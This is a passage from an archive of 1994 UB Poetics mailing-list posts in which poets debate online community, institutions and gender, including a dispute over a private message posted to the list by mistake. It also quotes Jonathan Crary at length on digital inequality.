> related illness. I'd last seen him on a Channel 4 Christmas Eve rpogramme
> "Camp Christmas", looking ill but alert. I knew there couldn't be long to
> go. I'd heard that he'd been in hospital bnut no more.
>
> Personally I think this is a great loss: to experimental film, to British
> cinema (whatever that means) and indeed to film world wide. We have
> also lost a forthright commentator on Gay / Queer / HIV issues. Working on a
> shoestring he produced astounding art. Not to everyone's taste, yes, on
> the edge of pretentiousness but that's part of taking risks. With Edward
> II, Wittgenstein and Blue Jarman reached the height of his powers; there
> can be no one to replace him.
>
> Cheers (and ins ombre mood already this weekend)
From: IN%"[redacted]" "UB Poetics discussion group" 22-FEB-1
994 20:24:50.69

↑ Index

60. Jennifer Moxley
Institution?
Tue 22 Feb 1994

I think you boys must be getting a little saddle weary from all that wobbling. Those who muse around in definitions of community without self-referentiality obviously can "step away" long enough to question: are we in one? do we want one? etc... Most people on this earth are born into your vagary. And I think the likelihood of any significant change happening surrounding community is very low among our current poetic dissidents if we don't feel "wrongly defined" only "wrong definitions" --changing definitions is easy, we're poets, or are we? I notticed that M. Hult admitted he goes to the grocery store which reminded me of something I read about the new left in the 60's, it's not that anyone said to the women leftists, "you can't speak," it is simply that the dynamic was such that even theorectically sophisticated women felt invigorated but shut down from participation. The way they were defined proceeded any definition changing they might have wanted to take part in. Being left out, cut off from the dominent modes of whatever, while remaining in a position of priviledge via class and gender, can sometimes make us forget to keep a keen eye peeled on the house that shut the door in the first place, and subsequently our shack takes on an inflated importance. I find it interesting that while we spend a lot of time opposing our enforced and chosen communities we still accept their terms. I think this is because it isn't that we hate our communities, but rather that we hate that the possibilities they open to us (academic, poetic, love relationships, virtual and democratic communities) are rarely realized. I just hate that. But it's like always waking up to a sink full of dirty dishes, you must say to yourself, at least I have dishes. We cannot extirpate ourselves from community any more than we can talk about the social as if we aren't in and defined by it, neither can we give up hope that we might be able to risk humiliation and defy these spaces that define us. -Jennifer Moxley From: IN %"[redacted]" "UB Poetics discussion group" 22-FEB-1 994 20:30:17.97

↑ Index

61. Joe Amato
RE: Community and the Individual Talent
Tue 22 Feb 1994

charles, that virtuality could be a virtue///

"virtual uncommunity"---community defined by what is excluded from same?---"i never wanted to belong to a club" etc?... in what ways is this specifically *virtual*?...

real vs. virtual---yet another site of collapse... what *about* the body, finally?... that is, the site whereupon such collapses--culturally, socially--are instituted, the "who" that does/does not speak, that is/is not allowed access, etc... does 'virtual uncommunity' renegotiate zones of institutional exclusion such that a 'we' denotes absence thrice removed?...

"not only are these [not] my words, not only am i not t/here, but i stand apart from you, to boot"

hence through this absence/addresslessness (think nomads with newtons) to rethink, or begin to rethink, presence (of others, or of congenial others etc)?... calling the bluff, as it were, of a certain telos of presence (this is fuzzy, yes, and formal)...

trafficking in wish lists: i would wish, were i the type (am i?), that the virtual were deployed as real, not over and against reality, but of the various realities that we construct... it's taken a mimetic shape thus far, but it needn't... hence virtual becomes, under one definition (from a new bill on the washington state govt. agenda---"public health & safety act 1994" bill, sbr 6174---and I shamelessly excerpt from a post to the media lab's narrative intelligence list):

NEW SECTION. Sec 702. (4) "Virtual Reality" means any computer or other electronic technology that creates an enhanced illusion of three-dimensional, real-time or near-real-time interactive reality through the use of software, specialized hardware, holograms, gloves, masks, glasses, computer guns, or other item capable of producing visual, audio, and sensory effects of verisimilitude beyond those available with a personal computer.

note "verisimilitude beyond those" etc...

but to get back to community commentary: a bit smartass, i know, but i'm thinking of the uncola at this moment... i'm wondering what it is, exactly, your concluding hope constitutes (as in constitution---bodily/legislative)...

i want to point out---and here i'll risk as much as you have, ethically, in doing so (which is not to suggest that either of us is being unethical, however impolite, but that ethos is always at stake)---that un-concealing (there's that un again) chris funk at suny/a was unconcealing a grad. student (chris---hi!, permit me to speak of you in the third person for a moment)... were you aware of chris's postsecondary status?... not that you wouldn't have unconcealed, say, a faculty member---but that there are institutional distinctions of community, as we're all aware, that go beyond listowner/non-listowner status, and that these raise issues, as you intimate, of power... much as i have just un-concealed chris's status in this institutional hierarchy...

i write the foregoing noting that, whatever my intentions, i risk a culpability on many counts... and what does it mean to be "polite" around t/here, anyway, esp.

given the potentially international context(s)?... "netiquette" hardly seems an answer... i have some ideas---

it sounds, in all, as though you would like to see these spaces mitigate the "hatred" you refer to... does this mean that they help to mitigate differences in difference?... wherever this stuff 'goes' that i'm in the process of typing, fact is that it emerges pretty much out of something american///

forgive me this latter---it needs to be unpacked---are these the places through/in which to venture forth so?///

am i publicly, well, what am i?... wouldn't ontological questions of identity be inscribed (o.k.---yuck) within a social controversy situated at the level of "national" or "continental" (as in north american) conceptions of community?... i mean, is your projected uncommunity international in scope, or transnational? (is the internet?)... new world borders?... or no borders defined as such, in national/international terms?... or---

what what?...

i am a bit too persistent (and digressive) perhaps... and i mean, as you are aware, no flames at all... i take these spaces as providing both for performative possibility as well as intimate deliberation... integrity, all told, is something i hope for within any un/community...

i would like to read more...

best///

joe
From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1
994 08:22:54.66

↑ Index

62. Benjamin Friedlander
RE: Institution?
Wed 23 Feb 1994

Jennifer, I don't think I was wrong to detect a criticism in your remarks not only of *the content* of my (and others') postings, but of the very *fact* of them. That's what principally annoyed me. Is this the same as my response to James Sherry? I wanted to be ironic there but say that in telling others to shut up he was adopting the rhetoric of poets I know he dislikes. Likewise with Tom Mandel--let him know that he couldn't simply brush aside what others say without answering to his rhetoric. Have I brushed aside what you wrote? This is what I objected to:

> *[...] you boys [...]*

and that whole sentence, not only is it dismissive, but the imputation that it's a boys' club (and that we're playing cowboys and indians) is extremely insulting

> *[...] Most people on this earth are born into your vagary.*

the imputation that we lack "self-referentiality" (by which i take it you mean self-knowledge?) is one thing, but to suggest that our supposed ignorance is a "vagary" others are subject to, not only on the poetics list, but their whole lives...! what sort of power are you attributing here to the "boys"?

> *[...] it's not that*
> *anyone said to the women leftists, "you can't speak," it is simply that the dynamic was such that even theorectically sophisticated women felt invigorated but shut down from participation[...]*

though your "i was reminded of" doesn't really link this statement to the discussion on the poetics list in any specific way, the implication is clear: the "boys" are shutting you down. perhaps i'm not jaded enough to accept such a ghastly charge with humor, but i do think it IS a ghastly charge, & an undeserved one, & it makes me angry.

The rest of your post had less to do with the poetics list and more to do with this analogy, and I don't particularly object to it--though I might say, having never fully ascertained what it was that made you dissatisfied with the discussion, or feel shut down, I had little to say in response. Your post is as abstract, in its way, as any of Steve's or mine or Patrick's or whoever's.

And yes, I DID think I was doing you a favor, of not "flaming you" on the list (which I wouldn't do) or just being pissed off and remaining silent (which I would do only if i didn't know you or count you a friend). Ben From: IN %"[redacted]" "UB Poetics discussion group" 23-FEB-1 994 09:58:27.01

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63. Benjamin Friedlander

yow!

Wed 23 Feb 1994

---

well, those of you who've read my last message (which i meant to send privately) can draw your own conclusions. robert duncan said the psychopathology of everyday life is a manual of composition, so freudian slips might in some way indicate a desire to compose without composing...it would seem some part of me wanted this private correspondence to spill into the public. but most of me didn't, doesn't...and i apologize to jennifer for any difficulty or embarrassment this may cause her. frustration run amok! ah dear ben f From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1 994 10:52:22.40

↑ Index

64. Joe Amato

From Andrew Levy, re: Community and uncommunity, 1 of 4

Wed 23 Feb 1994

2-22-94

I'm not sure what to call myself in this social space. A "hidden listener" perhaps, though as I'm not on-line, I'm not electronically hidden. I have been able to follow several parts of various discussions on the Poetics list [e.g., the wobbly, social poem??] thanks to occasional hardcopy provided by Joe Amato---sympathetic to my un-linked status. Should Joe and I worry that we're breaching an institutional decorum, i.e., subscribing to the UB list?---does providing me with hardcopy of certain conversations Joe believes I'd be interested in suggest indiscretion on his and my part... that I'm nosy, spying voyeuristically into the dialogue/communications passing between people, some of whom I know and consider friends, others whom I don't know?

I believe Charles is wise to raise the question of meanings and potentialities within an interrogation of "the idea of institution rather than association." For example, as an "outsider" (I'll say something about my situation in a moment), I tend to think a more productive way to conceptualize/practice the activity on the UB Poetics list would be to consider the fact that it constitutes not a literary community or "uncommunity" (it in no way resembles whatever forms *that* has taken in the past), but an electronic community. I think it would be important to investigate exactly what electronics *is*, and along with that research one could link the question of... and/or one might discover one's whole sense of what constitutes community has changed, and continues to---while mapping the specific and local details and densities of "old institutional habits... inhabit(ing) new institutional spaces." Tho I wonder how "new" these spaces are?

What I would hope to experience in any kind of community would be the sense that it's an effective community. That it consist "not of propositions to be communicated from A to B but of orientations in fields of meaning [there's that word "field" again, Ben], measures by the scales in which humans share not a perspective or a belief but a world that opens to this or that particular vantage and practice. In order to constitute an effective community rather than a symbolic machine for social production, organized beings must orient themselves in their media-scapes" (Don Byrd, _The Poetics of the Common Knowledge_, 23).

(cont'd)
From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1
994 10:52:29.45

↑ Index

65. Joe Amato
From Andrew Levy, re: Community and uncommunity, 2 of 4
Wed 23 Feb 1994

I am not a subscriber to the UB Poetics list (or any other list) because I cannot afford the privilege. That is, I own neither the hardware nor software needed to participate electronically from home, and Illinois Institute of Technology, where I am teaching as a pre-doctoral fellow, does not provide even its full-time Humanities faculty with computers. The best I might muster is limited on-site use of a machine in another location---and I don't own a vehicle, making it difficult for me to schedule my time on campus around such peripheral activities (however valuable). I mention my personal situation as it brings to mind very serious matters concerning the issue of institutions, participatory systems of information exchange and creation, and social progress---this latter in that its directions, purposes and results rely heavily upon one's ability either to heed or to ignore the divisions of class, and local, national and global economics. This is inseparable from the question of electronics above.

E.g. does my situation problematize or effect in any way Charles' query true electronically is sometimes true in the print world. For example, I just saw a copy of _Lingo_ #2 on the magazine stand at Barnes & Noble. There was an article about the New Coast conference at UB last spring, and a few other pieces that looked interesting. The price, however, was $12.50. I generally don't spend $12.50 for an issue of a magazine. Instead, I bought the recent issue of _Artforum_ for $7. Inside, I found an article by Jonathan Crary---founding editor of Zone, and professor of art history at Columbia. Bernstein's question, "What is public space and why does there seem so little of it?," and consequent hope for "the civic values of spaces like these: not reinforcing existing communities but taking up the constitution of social space," receives substantive problematizing when juxtaposed against Crary's reflection on electronic communications and communities (echoing to some degree Jacques Attali's prognosis of intellectual productivity complicit with the distribution of information and its technologies, absorbed into and enhancing the north-south hemispheric disequilibrium of resources and capital, and further straining the already growing fragmentation of east/west relations---the buying & selling of people; see _Millennium: Winners and Losers in the Coming World Order_---it's a disturbing and frightening book.)

I quote, rather extensively, from Crary's text:

"... Many evocations of an emerging 'on-line' world assume as a matter of course, or else never question, that a more or less uniform and available information and communication culture is now being installed globally. Generalizing language of the following sort is depressingly pervasive: 'In the near future we may all be on-line.' Beyond the curt and brutal exclusions of the words 'we' and 'all,' this class of statement, in its sweeping untruth, resonates with both a complacent faith in the certainty of modernization and a banal anticipation of its posthistorical fulfillment. "That western patterns of technological consumption could ever be extended to a world now six, soon ten billion people boggles the most elementary economic, not to mention ecological, common sense. The inescapable yet continually evaded truth is that participation in the emerging information, imaging, and communications technologies *will never* (in the meaningful future) expand beyond a minority of people on this planet. Before supposing 'we' will 'all' soon be in cyberspace, consider an isolated statistic: less than 20 percent of the world's population today have telephones. Despite relentless claims that the new computer networks are somehow egalitarian, in the next half century somewhat fewer than that 20 percent are likely ever to have economic access to the capabilities of these systems. An argument for a higher estimate would depend on projected growth rates that are historically unprecedented and are unsupported by even the rosiest long-range economic forecasts.

(cont'd)
From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1
994 10:52:25.95

↑ Index

66. Joe Amato
From Andrew Levy, re: Community and uncommunity, 3 of 4
Wed 23 Feb 1994

[quoting from Crary]

"To avoid misunderstanding, my argument here is not for or against any given technological arrangement. Rather, it is against the fictions, mystifications, bad faith, and worse in critical analyses that ignore the immensity, and the violence, of this disequilibrium. For our new electronic communities and digital subjectivities, whatever their local value and however subversive they might seem, are also part of an intensifying process of global polarization, segregation, and impoverishment. "...The sleek cyberdream of a collapsed global surface of instantaneity and dematerialization persists only by erasing the waking actuality of a world that is increasingly unlivable for most of its

inhabitants. "Some critics have celebrated the advent of an era of 'generalized communication' in the belief that new technologies will open up a multiplicity of 'local rationalities,' a multicultural world in which ethnic, sexual, religious, and other minorities would all have voices. But such a multicentered pluralism would depend on the universalizing and impossible idea of a relatively even distribution of technological culture. Instead, population is acquiring increasingly potent, supple forms of technological expression while the majority continue to inhabit radically dissimilar 'off-line' spaces and temporalities (or machinic 'creolizations' that will never mesh on equal terms with the most powerful networks). "With the growh of telecommunications and information systems in the West, Japan, and elsewhere (along with the corporate scramble to control and reorganize this arena of exchange), what used to be thought of as 'consumption' is increasingly synonymous with 'communication.' Within this field, where 'interactivity' is a new word for 'shopping,' it is becoming harder to distinguish effective resistance from what are merely alternate fashions of consumption. The 'grand narratives' and authoritarian perspectives may to some extent have collapsed, but the new proliferation of voices, truths, and subject positions has as much to do with the logic of the electronic marketplace as with the inception of any new public sphere."

[the above paragraphs are from Crary's article in the February issue of _Artforum_, 58-59, 103.]

(cont'd)
From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1
994 10:52:31.56

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67. Joe Amato
From Andrew Levy, re: Community and uncommunity, 4 of 4
Wed 23 Feb 1994

In the context of Crary's examination, the resulting economic disparity between the haves & have-nots is manifest not only "in political and economic crisis but, perhaps just as important, in the phenomenon of radically dissimilar perceptual and cognitive lifeworlds." Beavis & Butthead vs. Whitman & Emerson. As mentioned in Charles' posting, being outside a (literary) community is a sometimes self-elected position. When it comes to electronic communities, however, the decision and possibilities of that choice are mediated, if not imploded, within the social space of a discriminatory and post-apocalyptic economy of knowledge many people will be powerless to affect within the space of the screen, having no terminal or one not monitored by management from which to speak. Crary goes on to mention that some current research in the

neurosciences suggests that prolonged use of new image technologies "will produce *physical* remappings of neural connections in the brain." How large will the boundary between "inside" and "outside" become when heightened by unbridgeable perceptual and cognitive divides? "... the prospect is for medicobiological elites and castes of a sort unimaginable even in the most archaic premodern societies" (103). Crary ends by asking how one is to stay in touch with, listen to and learn from that majority of voices "outside the circuits of compulsory communication and 'augmented' realities?" This question complements Don Byrd's profound and densely complex investigation in the book referenced above.

I'm sure some of the concerns and ideas of which Crary speaks are not "new" to many of the subscribers to the UB Poetics list---but I thought it appropriate to interject them directly into the discussion and making of cummunity *here*. That's a typo, but let it stand. By the way, I (aka Andrew Levy) am not actually "posting" this response. Instead, Mr. Amato has been kind enough to volunteer his services. Also, my apologies to anyone who objects to my eavesdropping and textual intrusion into this space. Please direct all objections to Joe Amato---otherwise, I'll never know.

best to everyone hovering, lurking, listening, or subscribing!

Andrew Levy

p.s. A book I've found useful for thinking about community is _The Coming Community_, by Giorgio Agamben. His work in this book would also complement, I believe, Steve Evans' thinking about identity and the "hatred of identity."

[p.p.s. all typos, garbling and related wobbling by Joe]
From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1
994 17:53:44.28

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68. Joe Amato
RE: Institution?
Wed 23 Feb 1994

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well, i don't wanna 'take sides' re the disagreement, public/private and in-between, 'between' ben & jennifer...

but i *would* like to say [and i'm editing in here that i'm not at all pleased with how this post turned out] that i've noted posts similar to jennifer's on a number of lists (that is, from women, and addressing similar issues), and that i think we would all do well to consider the extent to which these spaces are gendered so as to exclude possibilities for all... that is, that women might feel somehow

excluded from these environs is not simply an idiosyncratic or sensitive (which is to say hypersensitive) observation... there are a number of related issues here---the sorts of subject positions that technologies typically help to institute, even within a presumed space of first amendment freedoms, public domain and such---and it is likely, i think, that many of these issues are backgrounded in the midst of differing levels of dis/comfort vis-a-vis such public spaces...

that is, it's not that wobbling per se, whatever one makes of same, is a poor point of departure (and as i recall, there have been both women and men involved in that discussion, if predominantly men (this latter observation perhaps significant in itself))... it's more to the point that such a discussion---and i've certainly indulged mself in similarly compulsive (?---is this fair?) threads/exchanges---bypasses perhaps without much forethought or deliberation (around t/here, at least) questions pertaining to---not how "we" is/are conceived contra or in association with various "i's"---but how "we" as an implicit operational construction has/have already de facto eliminated particular "i's" from its/our field of possibilities...

who is we not speaking?... and why?...

joe///(awaiting meanings of silences, departures... which will, w/methinks, require a few words from our sponsors...) From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1 994 18:26:41.12

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69. Kristen Prevallet
angry boys
Wed 23 Feb 1994

Ben:

You can dish it out but you sure can't take it.
You're Freudian Slip was successful, and now you
had better answer to your own rhetoric instead of
calling everyone else on theirs.

I can see that you took Jennifer's message personally, but you shouldn't have. The bigger issue has to do with talking about community in terms that, whether you mean to or not, and I know you don't, are purely rhetorical and thereby exclusionary to those who don't know what the heck you're talking about. Not that I have any big ideas about how to make this e-mail thing *useful*--I just think that you all have to be careful about laying down the terms for conversation, and then getting "angry" when someone calls you on them. It's funny, because I did not find Jennifer's posting "abstract" at all. Rather, it is among the most straight forward of most of what I have read on this thing. And

I shall add this, apologizing if it has already been said, for I joined the list late: What is the point of all this talk about community and when will the talk stop and the communializing (word?) begin? I guess that's the problem with virtual--its all talk about the talk about the talk, removed, from EXPERIENCE.

Kristin Prevallet
From: IN%"[redacted]" "UB Poetics discussion group" 23-FEB-1
994 18:59:06.73

↑ Index

70. Loss Glazier

Gender

Wed 23 Feb 1994

I'm not sure what direction this leads but it occurs to me that Kristin's comment that "Ben can dish it out but not take it" might overlook the basis of Jennifer's disatisfaction, as I see it 'that the holds of abstraction are dominated by men' (paraphrase). Whether this is or is or not true is one of those endlessly debateably points, on which I'm willing to willingly give ground just because I can't see a defining argument in either camp. It's clear that much of technology has been developed by males, I don't think that bears any argument. But is the invoking of "boys" because of use of abstraction an accurate call? I can't enter into this because I don't know but (and it may be unnecessarily tedious to do so) want to suggest that there are always other elements (not under- estimating gender at all) but what about class, ethnicity, geography as poet-entially also influential? Is it relevant that discussions of community lead to a recognition of difference within the "community"? Isn't it far too reductive to draw the line at gender--I mean arent' there all sorts of gradation of experience and social location (including gender, aren't there gradations of "male" experience and "female" experience despite one's biological gender?) that make such divisions incredibly destructive? From: IN%"[redacted]" "UB Poetics discussion group" 24-FEB-1 994 01:42:41.25

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71. Belle Gironda

community a'gin

Thu 24 Feb 1994

Thanx to Andrew Levy for contextualizing the community discussion
in a lrger world. (Post)-apocalyptic tho' his "posts" are.
meanwhile:
I'm happy to have entered the list at this incipient moment when
the (I thinK) necessary/requisite activity of community

formation is happening.
Inevitablethat in a purely text based environment, "community" must produce itself (identity) textually via some discussion which takes as its subject its subjects (us) & our relations (community--or the hope/dream/image/concept & c. of).
The "signs" seem good when, in this process, exploding Freudian cigars go off, voices who feel themselves somehow silenced speak out, dissenting, a "Dad" (mon Bernstein) chimes in w/ affectionate pronouncements and (as i began w/) a bucket brigade of un-wired wisdom makes its way from Indiana (is that the right M-western territory?) via Amato's transcription to the list reminding "us" (can I say so?) of
how lucky we are and
the responsibilities implied
by fortune

Belle Gironda
From: IN%"[redacted]" "UB Poetics discussion group" 24-FEB-1
994 01:46:29.46

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72. GENE E. HULT
Ah...
Thu 24 Feb 1994

It is rather wonderful to read people talking to each other (even if in anger) rather than making guarded intellectual pronouncements. But what are we all here for? It's a poetics forum, so let's discuss poetry! Anyone have a particular favorite he or she has read lately to share with the rest of us? Anyone feeling particularly brave and want to share one they wrote? Let's get this thing in high, useful gear.

Gene Hult
From: IN%"[redacted]" "UB Poetics discussion group" 24-FEB-1
994 01:55:25.07

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73. Belle Gironda
a'gin
Thu 24 Feb 1994

Oh,
& I meant to say that the point Katie Yates made via Blanchot seems vital in that the "I" /"We" relation ultimately frames

all our possibilities for speaking to each other and encompasses
(uh, I don't know if that's the word but..) categories (word?)
like gender, race, class, which matter but which (seem)
automatically
reductive by virtue of their (well-meaning)
ambitions.
BG
From: IN%"[redacted]" "UB Poetics discussion group" 24-FEB-1
994 10:34:24.71

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74. Patrick Phillips
RE: Institution?
Thu 24 Feb 1994

Doesn't it appear that just when you think you got "community" down, something discombobulates...

Like Kristen, on one hand I feel its too bad that we have to negotiate the notion of community. It's kinda like thinking about thought. When one brings some thing, something particular, into a group, no matter if its a loosely knit group, there is a focal point that in turn defines the group, or community.

On the other, I feel relieved by Jennifer's post. Perhaps the thing brought into the group must then be thrown out for the definition of community to be clarified, changed. I think this is what Jennifer is tending to. That the institution sterilizes the "community," or it acts as a kind of radon, seeping into the house, or in our case, the "shack," and we slowly mutate. Raise the windows, knock down a wall, air it out!

Yet another facet. What happened with Ben's public post of a private tussle should be examined in that light as well; that privately we do negotiate on terms which often sound completely off-key in public; that the time and energy of talking "intimately" is quite different from this odd publicity both in its intention as well as to the attention it is given.

As it turns out, the eaves on this shack accomodate a lot of people. They also accomodate, or produce a lot of apprehension and skepticism, which in turn breeds distrust. That the rain has eased up, or the shack remodelled a bit, allowing a different accomodation, a different form, speaks to a determination and resilience that this forum may have, but that gets lost at times in the particular posts; a loss which can be and is recouped most times without animosity, or acrimony.

In all this I have to say I was a little pissed that when I posted the Diane Ward interview and tried to get something going around her remarkable work there were no takers. That my taking an explicit approach to EXPERIENCE in her work wasn't engaged, or challenged. Couple this with the fact that I'm a "boy" it becomes hard for me to see where in fact the wobble is and to what "you boys" refers. Although I see that the boys club metaphor is not just a metaphor, there are variables, soft edges which are accessible. Just to say that this forum has a form which is ultimately arbitrated only by a very tenuous "we." That all constructs here are provisional. Jennifer has shown this. Thanks

Patrick
From: IN%"[redacted]" "UB Poetics discussion group" 24-FEB-1
994 16:54:47.08
To:IN%"[redacted]" "Multiple recipients of list POETICS"
CC:
Subj:

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75. James Sherry
RE: Institution?
Thu 24 Feb 1994

When we get stuck defining community
We are ignoring the rest we be.
Community for me at least
is one logical view of our networking
in a specific area of interest -- poetry.

Other components are logical as well
like this notion of institution
which sends alarms to most
but has impact as the sum
of our messages coheres.

Physically we are nodes,
and individuals, and poets,
and other things which are not
all the same : some teachers, some computing professionals,
and here we diverge like with gender.

The community cannot define all we are,
but our similar interests in coming together
over this server: poetry.
But poetry is not one thing either:
and to define it for net purposes is essential to me.

The form / forum of email and the net define
much of what we can do best, read effectively,
here and what can be saved for other forms
like sonnets, hand written letters, books,
phone calls, group discussion, readings...

This form in its email suit is provisional.
I would not attempt full-scale legalistic discussion.
I might want to send an attachment, more carefully worked
up on a word processor, but that is another form of the net.
In fact to do so requires a different program than email which is just a
carrier.

Not only are these notes mostly provisional,
hardly edited and off the top of our heads,
they are often not sequential, are intersected
by multiple other topics on any given session
and by well edited attachments like Levy's quotation.

From this perspective the forum for our various missives
has a curious impact, since we never know what form
will appear inside a message: its contents.
For one thing we have a change in the idea of form
and content. Form is forum and contents can be one of several forms.

Also errors are so easy to make that like in our own brains
we have to give a lot of room for alternatives.
On a personal level that's forgiveness, on an ideational
level the writers' different contexts are critical,
on the level of subject we need to discuss these issues

of institutions, communities, nodes, persons, subjects,
and others as they apply to networking. Otherwise
we get one person wanting to have a poetry discussion,
another an exchange of sources on issues, another
"what I think of this writer".

And all of these have their place here, although I have
said I think that some are effective here and others
off putting or even scandalizing, since we are not
all the same on the net, simply equal.
And here is where Bernstein's list of rules

Is more vital to me than the subjects of poets,
issues, and personal exchanges arising from
misunderstanding that we are messaging

to equals that are not the same.
Any discussion must begin with recognition of the variety of components.

The net is not only an institution and beginning with any one
component risks forefronting it to valorize or criticise
which is not the point. Here there is a method to apply.
Yet the application of rules by an individual does raise
an issue of polity that can be institutionalized.

It must be questioned before it is institutionalized.
That is why we must be glad to hear from CB about his
rules and regs and we should all have input on the subject
before we get so far down the road that they have become
binding assumptions.

PLEASE READ THOSE RULES AND CHANGE THEM TO SUIT US.
ANYONE WHO WILL NOT CONTRIBUTE WILL SUFFER
FROM ALLOWING OTHERS TO MAKE THE DECISIONS.
PLEASE CONSIDER ALL THE COMPONENTS AND EVEN
LIST THEM TO AVOID MISSING AN IMPORTANT ONE.

I for one cast a ballot for a clearly stated list of rules
governing network management to be published and discussed
and within the boundaries of the mechanics put into place
with the consent of contributors. Here CBs rules and Ben
Friedlander's problem of public and private can be addressed.

Please, Charles simplify and complete your management rules indicating those which are in place and those which are contemplated. I'm not sure I understand or can sort them among all the prose. For those who think this a bad idea because it's not free, we can go back to that discussion, but it's probably not to the point.

Since it's not free now as Ben found and can only get to be so by defining boundaries within which we can be free, publishing will help. For those who think it's not poetry, remember poetic form. We are here defining a form within this forum which I hope I've convinced most is different enough from other forums torequire preconception.

Too many forums I've been in have dissolved because some one overstepped and the group disintegrated from a combination of boredom, anger, guilt, and irrelevance. Which of our problems in other forums can we avoid bringing to this one? 1. list of rules. 2. list of components of the net that are relevant to consider.

JS (provisionally)
From: IN%"[redacted]" "UB Poetics discussion group" 25-FEB-1
994 05:36:00.29

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76. **susan**
(no subject)
Thu 24 Feb 1994

To members of the poetics net:

The discussion of community that I've recently tapped into is interesting, from a mid-Pacific perspective, for what it leaves out--only proving, I suppose, that definitions of community are inevitably context driven, "community games," as it were. In Hawaii, the term "local" is a racial as well as a regional tag; to be "local" here is to be Asian-American, which distinguishes "locals" from native Hawaiians, and haoles (whites). It's possible, though not easy, to be a "local haole," if you grow up here. Increasingly, that definition of "local" enters into local writing through the use of pidgin; Lois-Ann Yamanaka's SATURDAY NIGHT AT THE PAHALA THEATER (Bamboo Ridge Press, 1993) is written exclusively in pidgin (except for a moment of affected standard English, meant to be laughed off).

A couple of weeks ago I went to a reading for the publication of Jessica Hagedorn's fascinating anthology, THE DEATH OF CHARLIE CHAN. The first two readers, Yamanaka and a gay Filipino American writer, Zack Linmarck, read in a language so local (and so infused with particular cultural references) that I had a keen sense of living outside of it (I've been in Hawaii for three and a half years now). And yet I'm reminded of what Charles Bernstein said a few days ago about uncommunities--I feel myself a part of this community precisely because it is one that acknowledges a multitude of contexts; even though I'm not "local" I do have investments in the community. I am both inside and out of the game, especially when I set about "teaching" local literature at UH. My feeling about this discussion group is similar; it strikes me that the community's self-definition will change often, according to the particular contexts of our musings. Perhaps, to follow Gene Hult's comment, we should turn to poems--poems that contain within themselves these shifts of context which are the community as it exists inside poems. It also strikes me as a potentially productive exercise to examine poems that do not seem to welcome us into their community, since that exclusion (gender, class, or race-related) is part and parcel of our definition.

As an aside on pidgin writing: I'm interested in the way in which local writing is (finally) catching on on the mainland. Yamanaka is widely published, as are

Eric Chock and Wing Tek Lum, to say nothing of Cathy Song, though her work isn't generally considered to be local--her audience, as she put it horribly in the pages of MANOA, is the workshop writer she was most jealous of. Garrett Hongo's new anthology THE OPEN BOAT (a strange title for a collection of Asian American poetry--what DOES Stephen Crane have to do with it?) includes several Hawaii writers, and should make them more popular to a larger audience. But, although the use of an exclusive, non-universal language, pidgin, should attract the attention of "Language writers," the poems themselves are relentlessly conservative, more intent on mimesis than on any challenge to it. They buy into notions of "authenticity" that grate on literary critical ears.

In what sense, then, will a discussion group like this one welcome in the "multicultural" literature of places like Hawaii? How do we want to define multiculturalism? We need to keep in mind that "experimental writing" is also a context-driven phenomenon. What is experimental here isn't in Buffalo, and probably vice versa. (Though Hagedorn's anthology puts the Heath in the dust on that score.)

Anyway, I find myself piling on here. I'll sign off for now.

Susan M. Schultz ([redacted])
From: IN%"[redacted]" "UB Poetics discussion group" 24-FEB-1
994 17:01:25.26

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77. GENE E. HULT
RULES
Fri 25 Feb 1994

ALL--

Gotta be rules, gotta be rules.... my only suggestion would be for everyone to drop our competative defenses... yes, we're all (all? don't hesitate to challenge my words in your mouth) writers, we're all adrift on the seas of language, knowledge, learning, yes, we're all human. But, as G.B Trudeau once wrote re: We are the World -- Welcome, and check your egos at the door. Respect is rule #1, perhaps personal honesty rule #2?

Ah, the vultures circle... water, water!

Gene H.
From: IN%"[redacted]" "UB Poetics discussion group" 25-FEB-1
994 21:04:45.85

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78. Patrick Phillips

RE: angry boys

Fri 25 Feb 1994

Kristen --

Yesterday I posted something which I hoped would help us to recognize that this space is provisional and the tone of that post was intended to be generous, or open, available. In addition to being projective, it also was reflexive, critical of the institutional form that this space sometimes takes and sometimes this boy's a part of.

I began to think about the "angry boys" post not really dealt with in my agreement in part with your "What is the point of all this talk about community..." and I again focused on tone; not as rhetoric, but as the personal and of a reflection of understanding.

I think it was clear that Jennifer's "institution" letter was not an invective intended to silence, or chastise, or to be critical of a person, but of an institution. I think that the debilitating facets of "the institution," though more insidious, can be compared to a rhetoric intended to chasten, or publicly ridicule. That you chose to air your frustration at Ben publicly, not at the institution, seems to me to ally you with forces of marginalization that you so refute. At least they speak to public frustrations that I don't see comensurate with his private "anger."

This note is not to chasten at all, but to bring into light and into focus the means of our discussions and the motivations behind them. This is not to soften rhetoric either, to marginalize through a modality. I know the tone of this post is self-conscious, but forthright. Thas tone is itself a contingency, provisional and by no means is used to set a tone for our discussion, or for our heated debate. It so often happens that a mode, or a tone sets up a kind of hegemony; but that hegemony by its very existence is necessarily open to challenge, not necessarily is the person open to such a challenge. I just can't help but wonder which was the focus of your quite public ire.

Patrick
From: IN%"[redacted]" "UB Poetics discussion group" 26-FEB-1
994 21:47:33.15

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79. Juliana Spahr

silence, gender, two horses in another world

Sat 26 Feb 1994

Then the water seems to talk and I am Joan of
Arc or Jean Arthur hearing voices, I am nei-
ther a woman nor a man but an ethereal person
leading two horses in another world; where my
sex is something I can't recognize, the face
of a mandrill, a kind of football, the drama
of wind blowing cold gray clouds past the
sightless moon, you only see this figure on a
screen from the room of the other dream I
would have told you like prayers if the rain
hadn't made me so pale and winter was my only
memory, besides every time I say I dreamed
the phone rings and the kind young man
replaces the window and seals up the hole
above the heaters, it's Triptolemus, pour
holy water on his head this morning.
--Bernadette Mayer, %The Desires of Mothers
to Please Others in Letters%

Missent letters are always fascinating. The places
they end up--the garbage dump peopled with pick-
ers, sifters, and its analog, the mailbox of the
virtual community--are places where one wants to
be. The space of what goes on underneath the veil
of community-talk becomes suddenly exposed. Read-
ing the missent letter one is trespasser and owner
of the sacred nature of "communication" and its
pal "community." We know we never control our
words; this much is obvious. Or what I want to
say, is Ben's letter, which showed us how our
words and signals to senders betray, and its
replies should have opened things up, freed us
from the belief that our thought must be clear and
